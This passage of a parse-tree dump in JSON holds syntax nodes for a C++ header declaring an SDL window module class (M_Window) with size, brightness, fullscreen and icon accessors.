\n\tuint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetWidth(uint width);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetHeight(uint height);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetSize(uint width, uint height);\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBrightness(float brightness);\t\t\t\t\t\t\t\t// \n\n\tbool\t\tIsMaximized() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreen() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsResizable() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsBorderless() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreenDesktop() const;\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetMaximized(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreen(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetResizable(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBorderless(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreenDesktop(bool setTo);\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tRecalculateWindowSize();\n\nprivate:\n\tSDL_Window*\t\twindow;\t\t\t\t\t\t\t\t\t\t\t\t\t\t// The window we'll be rendering to\n\tSDL_Surface*\tscreenSurface;\t\t\t\t\t\t\t\t\t\t\t\t// The surface contained by the window\n\n\tstd::string\t\ticonFile;\n\n\tuint\t\t\tscreenWidth;\t\t\t\t\t\t\t\t\t\t\t\t// Width of the window in pixels.\n\tuint\t\t\tscreenHeight;\t\t\t\t\t\t\t\t\t\t\t\t// Height of the window in pixels.\n\n\tbool\t\t\tisMaximized;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreen;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisResizable;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisBorderless;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreenDesktop;\t\t\t\t\t\t\t\t\t\t// \n}", "parent": 0, "children": [14, 15], "start_point": {"row": 7, "column": 20}, "end_point": {"row": 66, "column": 1}}, {"id": 14, "type": "statement_identifier", "text": "M_Window", "parent": 13, "children": [], "start_point": {"row": 7, "column": 20}, "end_point": {"row": 7, "column": 28}}, {"id": 15, "type": "ERROR", "text": "public Module", "parent": 13, "children": [16], "start_point": {"row": 7, "column": 31}, "end_point": {"row": 7, "column": 44}}, {"id": 16, "type": "identifier", "text": "Module", "parent": 15, "children": [], "start_point": {"row": 7, "column": 38}, "end_point": {"row": 7, "column": 44}}, {"id": 17, "type": "labeled_statement", "text": "public:\n\tM_Window(bool isActive = true);", "parent": 13, "children": [18], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 32}}, {"id": 18, "type": "declaration", "text": "M_Window(bool isActive = true);", "parent": 17, "children": [19, 23], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 32}}, {"id": 19, "type": "macro_type_specifier", "text": "M_Window(bool", "parent": 18, "children": [20, 21], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 14}}, {"id": 20, "type": "identifier", "text": "M_Window", "parent": 19, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 9}}, {"id": 21, "type": "type_descriptor", "text": "bool", "parent": 19, "children": [22], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 14}}, {"id": 22, "type": "primitive_type", "text": "bool", "parent": 21, "children": [], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 14}}, {"id": 23, "type": "init_declarator", "text": "isActive = true", "parent": 18, "children": [24, 25, 26], "start_point": {"row": 10, "column": 15}, "end_point": {"row": 10, "column": 30}}, {"id": 24, "type": "identifier", "text": "isActive", "parent": 23, "children": [], "start_point": {"row": 10, "column": 15}, "end_point": {"row": 10, "column": 23}}, {"id": 25, "type": "=", "text": "=", "parent": 23, "children": [], "start_point": {"row": 10, "column": 24}, "end_point": {"row": 10, "column": 25}}, {"id": 26, "type": "true", "text": "true", "parent": 23, "children": [], "start_point": {"row": 10, "column": 26}, "end_point": {"row": 10, "column": 30}}, {"id": 27, "type": "declaration", "text": "virtual ~M_Window();", "parent": 13, "children": [28, 29, 31], "start_point": {"row": 11, "column": 1}, "end_point": {"row": 11, "column": 21}}, {"id": 28, "type": "type_identifier", "text": "virtual", "parent": 27, "children": [], "start_point": {"row": 11, "column": 1}, "end_point": {"row": 11, "column": 8}}, {"id": 29, "type": "ERROR", "text": "~", "parent": 27, "children": [30], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 10}}, {"id": 30, "type": "~", "text": "~", "parent": 29, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 10}}, {"id": 31, "type": "function_declarator", "text": "M_Window()", "parent": 27, "children": [32, 33], "start_point": {"row": 11, "column": 10}, "end_point": {"row": 11, "column": 20}}, {"id": 32, "type": "identifier", "text": "M_Window", "parent": 31, "children": [], "start_point": {"row": 11, "column": 10}, "end_point": {"row": 11, "column": 18}}, {"id": 33, "type": "parameter_list", "text": "()", "parent": 31, "children": [], "start_point": {"row": 11, "column": 18}, "end_point": {"row": 11, "column": 20}}, {"id": 34, "type": "ERROR", "text": "bool Init(ParsonNode& config) override", "parent": 13, "children": [35, 36], "start_point": {"row": 13, "column": 1}, "end_point": {"row": 13, "column": 39}}, {"id": 35, "type": "primitive_type", "text": "bool", "parent": 34, "children": [], "start_point": {"row": 13, "column": 1}, "end_point": {"row": 13, "column": 5}}, {"id": 36, "type": "function_declarator", "text": "Init(ParsonNode& config) override", "parent": 34, "children": [37, 38, 42], "start_point": {"row": 13, "column": 6}, "end_point": {"row": 13, "column": 39}}, {"id": 37, "type": "identifier", "text": "Init", "parent": 36, "children": [], "start_point": {"row": 13, "column": 6}, "end_point": {"row": 13, "column": 10}}, {"id": 38, "type": "parameter_list", "text": "(ParsonNode& config)", "parent": 36, "children": [39], "start_point": {"row": 13, "column": 10}, "end_point": {"row": 13, "column": 30}}, {"id": 39, "type": "parameter_declaration", "text": "ParsonNode& config", "parent": 38, "children": [40, 41], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 29}}, {"id": 40, "type": "type_identifier", "text": "ParsonNode", "parent": 39, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 21}}, {"id": 41, "type": "identifier", "text": "config", "parent": 39, "children": [], "start_point": {"row": 13, "column": 23}, "end_point": {"row": 13, "column": 29}}, {"id": 42, "type": "identifier", "text": "override", "parent": 36, "children": [], "start_point": {"row": 13, "column": 31}, "end_point": {"row": 13, "column": 39}}, {"id": 43, "type": "ERROR", "text": "bool CleanUp() override;\n\n\tbool LoadConfiguration(ParsonNode& root) override;\n\tbool SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window* GetWindow() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetTitle(const char* title);\t\t\t\t\t\t\t\t\t// \n\n\tconst char* GetIcon() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetIcon(const char* file);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetDefaultIcon();\t\t\t\t\t\t\t\t\t\t\t\t// \n\n\tuint\t\tGetWidth() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tuint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetWidth(uint width);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetHeight(uint height);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetSize(uint width, uint height);\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBrightness(float brightness);\t\t\t\t\t\t\t\t// \n\n\tbool\t\tIsMaximized() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreen() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsResizable() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsBorderless() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreenDesktop() const;\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetMaximized(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreen(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetResizable(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBorderless(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreenDesktop(bool setTo);\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tRecalculateWindowSize();\n\nprivate:\n\tSDL_Window*\t\twindow;\t\t\t\t\t\t\t\t\t\t\t\t\t\t// The window we'll be rendering to\n\tSDL_Surface*\tscreenSurface;\t\t\t\t\t\t\t\t\t\t\t\t// The surface contained by the window\n\n\tstd::string\t\ticonFile;\n\n\tuint\t\t\tscreenWidth;\t\t\t\t\t\t\t\t\t\t\t\t// Width of the window in pixels.\n\tuint\t\t\tscreenHeight;\t\t\t\t\t\t\t\t\t\t\t\t// Height of the window in pixels.\n\n\tbool\t\t\tisMaximized;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreen;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisResizable;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisBorderless;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreenDesktop;", "parent": 13, "children": [44, 45, 48, 51, 60, 76, 86, 93, 103, 108, 150, 158, 169, 177, 182, 187, 192, 197, 202, 210, 218, 226, 234, 242, 247, 253, 258, 263, 266, 269, 272, 275, 278, 281], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 65, "column": 28}}, {"id": 44, "type": "primitive_type", "text": "bool", "parent": 43, "children": [], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 14, "column": 5}}, {"id": 45, "type": "function_declarator", "text": "CleanUp()", "parent": 43, "children": [46, 47], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 15}}, {"id": 46, "type": "identifier", "text": "CleanUp", "parent": 45, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 13}}, {"id": 47, "type": "parameter_list", "text": "()", "parent": 45, "children": [], "start_point": {"row": 14, "column": 13}, "end_point": {"row": 14, "column": 15}}, {"id": 48, "type": "declaration", "text": "override;", "parent": 43, "children": [49, 50], "start_point": {"row": 14, "column": 16}, "end_point": {"row": 14, "column": 25}}, {"id": 49, "type": "type_identifier", "text": "override", "parent": 48, "children": [], "start_point": {"row": 14, "column": 16}, "end_point": {"row": 14, "column": 24}}, {"id": 50, "type": "identifier", "text": "", "parent": 48, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 24}}, {"id": 51, "type": "ERROR", "text": "bool LoadConfiguration(ParsonNode& root) override;", "parent": 43, "children": [52, 53], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 51}}, {"id": 52, "type": "primitive_type", "text": "bool", "parent": 51, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 5}}, {"id": 53, "type": "function_declarator", "text": "LoadConfiguration(ParsonNode& root) override", "parent": 51, "children": [54, 55, 59], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 50}}, {"id": 54, "type": "identifier", "text": "LoadConfiguration", "parent": 53, "children": [], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 23}}, {"id": 55, "type": "parameter_list", "text": "(ParsonNode& root)", "parent": 53, "children": [56], "start_point": {"row": 16, "column": 23}, "end_point": {"row": 16, "column": 41}}, {"id": 56, "type": "parameter_declaration", "text": "ParsonNode& root", "parent": 55, "children": [57, 58], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 40}}, {"id": 57, "type": "type_identifier", "text": "ParsonNode", "parent": 56, "children": [], "start_point": {"row": 16, "column": 24}, "end_point": {"row": 16, "column": 34}}, {"id": 58, "type": "identifier", "text": "root", "parent": 56, "children": [], "start_point": {"row": 16, "column": 36}, "end_point": {"row": 16, "column": 40}}, {"id": 59, "type": "identifier", "text": "override", "parent": 53, "children": [], "start_point": {"row": 16, "column": 42}, "end_point": {"row": 16, "column": 50}}, {"id": 60, "type": "declaration", "text": "bool SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window* GetWindow() const;", "parent": 43, "children": [61, 62, 71], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 20, "column": 31}}, {"id": 61, "type": "primitive_type", "text": "bool", "parent": 60, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 5}}, {"id": 62, "type": "ERROR", "text": "SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window", "parent": 60, "children": [63, 70], "start_point": {"row": 17, "column": 6}, "end_point": {"row": 20, "column": 11}}, {"id": 63, "type": "function_declarator", "text": "SaveConfiguration(ParsonNode& root) const override", "parent": 62, "children": [64, 65, 69], "start_point": {"row": 17, "column": 6}, "end_point": {"row": 17, "column": 56}}, {"id": 64, "type": "identifier", "text": "SaveConfiguration", "parent": 63, "children": [], "start_point": {"row": 17, "column": 6}, "end_point": {"row": 17, "column": 23}}, {"id": 65, "type": "parameter_list", "text": "(ParsonNode& root)", "parent": 63, "children": [66], "start_point": {"row": 17, "column": 23}, "end_point": {"row": 17, "column": 41}}, {"id": 66, "type": "parameter_declaration", "text": "ParsonNode& root", "parent": 65, "children": [67, 68], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 40}}, {"id": 67, "type": "type_identifier", "text": "ParsonNode", "parent": 66, "children": [], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 34}}, {"id": 68, "type": "identifier", "text": "root", "parent": 66, "children": [], "start_point": {"row": 17, "column": 36}, "end_point": {"row": 17, "column": 40}}, {"id": 69, "type": "identifier", "text": "override", "parent": 63, "children": [], "start_point": {"row": 17, "column": 48}, "end_point": {"row": 17, "column": 56}}, {"id": 70, "type": "identifier", "text": "SDL_Window", "parent": 62, "children": [], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 11}}, {"id": 71, "type": "pointer_declarator", "text": "* GetWindow() const", "parent": 60, "children": [72, 73], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 30}}, {"id": 72, "type": "*", "text": "*", "parent": 71, "children": [], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 12}}, {"id": 73, "type": "function_declarator", "text": "GetWindow() const", "parent": 71, "children": [74, 75], "start_point": {"row": 20, "column": 13}, "end_point": {"row": 20, "column": 30}}, {"id": 74, "type": "identifier", "text": "GetWindow", "parent": 73, "children": [], "start_point": {"row": 20, "column": 13}, "end_point": {"row": 20, "column": 22}}, {"id": 75, "type": "parameter_list", "text": "()", "parent": 73, "children": [], "start_point": {"row": 20, "column": 22}, "end_point": {"row": 20, "column": 24}}, {"id": 76, "type": "declaration", "text": "void\t\tSetTitle(const char* title);", "parent": 43, "children": [77, 78], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 35}}, {"id": 77, "type": "primitive_type", "text": "void", "parent": 76, "children": [], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 5}}, {"id": 78, "type": "function_declarator", "text": "SetTitle(const char* title)", "parent": 76, "children": [79, 80], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 34}}, {"id": 79, "type": "identifier", "text": "SetTitle", "parent": 78, "children": [], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 15}}, {"id": 80, "type": "parameter_list", "text": "(const char* title)", "parent": 78, "children": [81], "start_point": {"row": 21, "column": 15}, "end_point": {"row": 21, "column": 34}}, {"id": 81, "type": "parameter_declaration", "text": "const char* title", "parent": 80, "children": [82, 83], "start_point": {"row": 21, "column": 16}, "end_point": {"row": 21, "column": 33}}, {"id": 82, "type": "primitive_type", "text": "char", "parent": 81, "children": [], "start_point": {"row": 21, "column": 22}, "end_point": {"row": 21, "column": 26}}, {"id": 83, "type": "pointer_declarator", "text": "* title", "parent": 81, "children": [84, 85], "start_point": {"row": 21, "column": 26}, "end_point": {"row": 21, "column": 33}}, {"id": 84, "type": "*", "text": "*", "parent": 83, "children": [], "start_point": {"row": 21, "column": 26}, "end_point": {"row": 21, "column": 27}}, {"id": 85, "type": "identifier", "text": "title", "parent": 83, "children": [], "start_point": {"row": 21, "column": 28}, "end_point": {"row": 21, "column": 33}}, {"id": 86, "type": "declaration", "text": "const char* GetIcon() const;", "parent": 43, "children": [87, 88], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 29}}, {"id": 87, "type": "primitive_type", "text": "char", "parent": 86, "children": [], "start_point": {"row": 23, "column": 7}, "end_point": {"row": 23, "column": 11}}, {"id": 88, "type": "pointer_declarator", "text": "* GetIcon() const", "parent": 86, "children": [89, 90], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 28}}, {"id": 89, "type": "*", "text": "*", "parent": 88, "children": [], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 12}}, {"id": 90, "type": "function_declarator", "text": "GetIcon() const", "parent": 88, "children": [91, 92], "start_point": {"row": 23, "column": 13}, "end_point": {"row": 23, "column": 28}}, {"id": 91, "type": "identifier", "text": "GetIcon", "parent": 90, "children": [], "start_point": {"row": 23, "column": 13}, "end_point": {"row": 23, "column": 20}}, {"id": 92, "type": "parameter_list", "text": "()", "parent": 90, "children": [], "start_point": {"row": 23, "column": 20}, "end_point": {"row": 23, "column": 22}}, {"id": 93, "type": "declaration", "text": "void\t\tSetIcon(const char* file);", "parent": 43, "children": [94, 95], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 33}}, {"id": 94, "type": "primitive_type", "text": "void", "parent": 93, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 5}}, {"id": 95, "type": "function_declarator", "text": "SetIcon(const char* file)", "parent": 93, "children": [96, 97], "start_point": {"row": 24, "column": 7}, "end_point": {"row": 24, "column": 32}}, {"id": 96, "type": "identifier", "text": "SetIcon", "parent": 95, "children": [], "start_point": {"row": 24, "column": 7}, "end_point": {"row": 24, "column": 14}}, {"id": 97, "type": "parameter_list", "text": "(const char* file)", "parent": 95, "children": [98], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 32}}, {"id": 98, "type": "parameter_declaration", "text": "const char* file", "parent": 97, "children": [99, 100], "start_point": {"row": 24, "column": 15}, "end_point": {"row": 24, "column": 31}}, {"id": 99, "type": "primitive_type", "text": "char", "parent": 98, "children": [], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 25}}, {"id": 100, "type": "pointer_declarator", "text": "* file", "parent": 98, "children": [101, 102], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 31}}, {"id": 101, "type": "*", "text": "*", "parent": 100, "children": [], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 26}}, {"id": 102, "type": "identifier", "text": "file", "parent": 100, "children": [], "start_point": {"row": 24, "column": 27}, "end_point": {"row": 24, "column": 31}}, {"id": 103, "type": "declaration", "text": "void\t\tSetDefaultIcon();", "parent": 43, "children": [104, 105], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 24}}, {"id": 104, "type": "primitive_type", "text": "void", "parent": 103, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 5}}, {"id": 105, "type": "function_declarator", "text": "SetDefaultIcon()", "parent": 103, "children": [106, 107], "start_point": {"row": 25, "column": 7}, "end_point": {"row": 25, "column": 23}}, {"id": 106, "type": "identifier", "text": "SetDefaultIcon", "parent": 105, "children": [], "start_point": {"row": 25, "column": 7}, "end_point": {"row": 25, "column": 21}}, {"id": 107, "type": "parameter_list", "text": "()", "parent": 105, "children": [], "start_point": {"row": 25, "column": 21}, "end_point": {"row": 25, "column": 23}}, {"id": 108, "type": "declaration", "text": "uint\t\tGetWidth() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tuint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetWidth(uint width);", "parent": 43, "children": [109, 110, 114, 144], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 33, "column": 28}}, {"id": 109, "type": "type_identifier", "text": "uint", "parent": 108, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 5}}, {"id": 110, "type": "ERROR", "text": "GetWidth() const;", "parent": 108, "children": [111], "start_point": {"row": 27, "column": 7}, "end_point": {"row": 27, "column": 24}}, {"id": 111, "type": "function_declarator", "text": "GetWidth() const", "parent": 110, "children": [112, 113], "start_point": {"row": 27, "column": 7}, "end_point": {"row": 27, "column": 23}}, {"id": 112, "type": "identifier", "text": "GetWidth", "parent": 111, "children": [], "start_point": {"row": 27, "column": 7}, "end_point": {"row": 27, "column": 15}}, {"id": 113, "type": "parameter_list", "text": "()", "parent": 111, "children": [], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 17}}, {"id": 114, "type": "ERROR", "text": "uint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid", "parent": 108, "children": [115, 116, 119, 120, 135, 136, 139, 140, 143], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 33, "column": 5}}, {"id": 115, "type": "identifier", "text": "uint", "parent": 114, "children": [], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 5}}, {"id": 116, "type": "function_declarator", "text": "GetHeight() const", "parent": 114, "children": [117, 118], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 24}}, {"id": 117, "type": "identifier", "text": "GetHeight", "parent": 116, "children": [], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 16}}, {"id": 118, "type": "parameter_list", "text": "()", "parent": 116, "children": [], "start_point": {"row": 28, "column": 16}, "end_point": {"row": 28, "column": 18}}, {"id": 119, "type": "primitive_type", "text": "void", "parent": 114, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 5}}, {"id": 120, "type": "function_declarator", "text": "GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const", "parent": 114, "children": [121, 122], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 29, "column": 92}}, {"id": 121, "type": "identifier", "text": "GetMinMaxSize", "parent": 120, "children": [], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 29, "column": 20}}, {"id": 122, "type": "parameter_list", "text": "(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight)", "parent": 120, "children": [123, 126, 129, 132], "start_point": {"row": 29, "column": 20}, "end_point": {"row": 29, "column": 86}}, {"id": 123, "type": "parameter_declaration", "text": "uint& minWidth", "parent": 122, "children": [124, 125], "start_point": {"row": 29, "column": 21}, "end_point": {"row": 29, "column": 35}}, {"id": 124, "type": "type_identifier", "text": "uint", "parent": 123, "children": [], "start_point": {"row": 29, "column": 21}, "end_point": {"row": 29, "column": 25}}, {"id": 125, "type": "identifier", "text": "minWidth", "parent": 123, "children": [], "start_point": {"row": 29, "column": 27}, "end_point": {"row": 29, "column": 35}}, {"id": 126, "type": "parameter_declaration", "text": "uint& minHeight", "parent": 122, "children": [127, 128], "start_point": {"row": 29, "column": 37}, "end_point": {"row": 29, "column": 52}}, {"id": 127, "type": "type_identifier", "text": "uint", "parent": 126, "children": [], "start_point": {"row": 29, "column": 37}, "end_point": {"row": 29, "column": 41}}, {"id": 128, "type": "identifier", "text": "minHeight", "parent": 126, "children": [], "start_point": {"row": 29, "column": 43}, "end_point": {"row": 29, "column": 52}}, {"id": 129, "type": "parameter_declaration", "text": "uint& maxWidth", "parent": 122, "children": [130, 131], "start_point": {"row": 29, "column": 54}, "end_point": {"row": 29, "column": 68}}, {"id": 130, "type": "type_identifier", "text": "uint", "parent": 129, "children": [], "start_point": {"row": 29, "column": 54}, "end_point": {"row": 29, "column": 58}}, {"id": 131, "type": "identifier", "text": "maxWidth", "parent": 129, "children": [], "start_point": {"row": 29, "column": 60}, "end_point": {"row": 29, "column": 68}}, {"id": 132, "type": "parameter_declaration", "text": "uint& maxHeight", "parent": 122, "children": [133, 134], "start_point": {"row": 29, "column": 70}, "end_point": {"row": 29, "column": 85}}, {"id": 133, "type": "type_identifier", "text": "uint", "parent": 132, "children": [], "start_point": {"row": 29, "column": 70}, "end_point": {"row": 29, "column": 74}}, {"id": 134, "type": "identifier", "text": "maxHeight", "parent": 132, "children": [], "start_point": {"row": 29, "column": 76}, "end_point": {"row": 29, "column": 85}}, {"id": 135, "type": "primitive_type", "text": "float", "parent": 114, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 6}}, {"id": 136, "type": "function_declarator", "text": "GetBrightness() const", "parent": 114, "children": [137, 138], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 29}}, {"id": 137, "type": "identifier", "text": "GetBrightness", "parent": 136, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 21}}, {"id": 138, "type": "parameter_list", "text": "()", "parent": 136, "children": [], "start_point": {"row": 30, "column": 21}, "end_point": {"row": 30, "column": 23}}, {"id": 139, "type": "primitive_type", "text": "int", "parent": 114, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 4}}, {"id": 140, "type": "function_declarator", "text": "GetRefreshRate() const", "parent": 114, "children": [141, 142], "start_point": {"row": 31, "column": 7}, "end_point": {"row": 31, "column": 29}}, {"id": 141, "type": "identifier", "text": "GetRefreshRate", "parent": 140, "children": [], "start_point": {"row": 31, "column": 7}, "end_point": {"row": 31, "column": 21}}, {"id": 142, "type": "parameter_list", "text": "()", "parent": 140, "children": [], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 23}}, {"id": 143, "type": "primitive_type", "text": "void", "parent": 114, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 5}}, {"id": 144, "type": "function_declarator", "text": "SetWidth(uint width)", "parent": 108, "children": [145, 146], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 27}}, {"id": 145, "type": "identifier", "text": "SetWidth", "parent": 144, "children": [], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 15}}, {"id": 146, "type": "parameter_list", "text": "(uint width)", "parent": 144, "children": [147], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 27}}, {"id": 147, "type": "parameter_declaration", "text": "uint width", "parent": 146, "children": [148, 149], "start_point": {"row": 33, "column": 16}, "end_point": {"row": 33, "column": 26}}, {"id": 148, "type": "type_identifier", "text": "uint", "parent": 147, "children": [], "start_point": {"row": 33, "column": 16}, "end_point": {"row": 33, "column": 20}}, {"id": 149, "type": "identifier", "text": "width", "parent": 147, "children": [], "start_point": {"row": 33, "column": 21}, "end_point": {"row": 33, "column": 26}}, {"id": 150, "type": "declaration", "text": "void\t\tSetHeight(uint height);", "parent": 43, "children": [151, 152], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 30}}, {"id": 151, "type": "primitive_type", "text": "void", "parent": 150, "children": [], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 5}}, {"id": 152, "type": "function_declarator", "text": "SetHeight(uint height)", "parent": 150, "children": [153, 154], "start_point": {"row": 34, "column": 7}, "end_point": {"row": 34, "column": 29}}, {"id": 153, "type": "identifier", "text": "SetHeight", "parent": 152, "children": [], "start_point": {"row": 34, "column": 7}, "end_point": {"row": 34, "column": 16}}, {"id": 154, "type": "parameter_list", "text": "(uint height)", "parent": 152, "children": [155], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 29}}, {"id": 155, "type": "parameter_declaration", "text": "uint height", "parent": 154, "children": [156, 157], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 28}}, {"id": 156, "type": "type_identifier", "text": "uint", "parent": 155, "children": [], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 21}}, {"id": 157, "type": 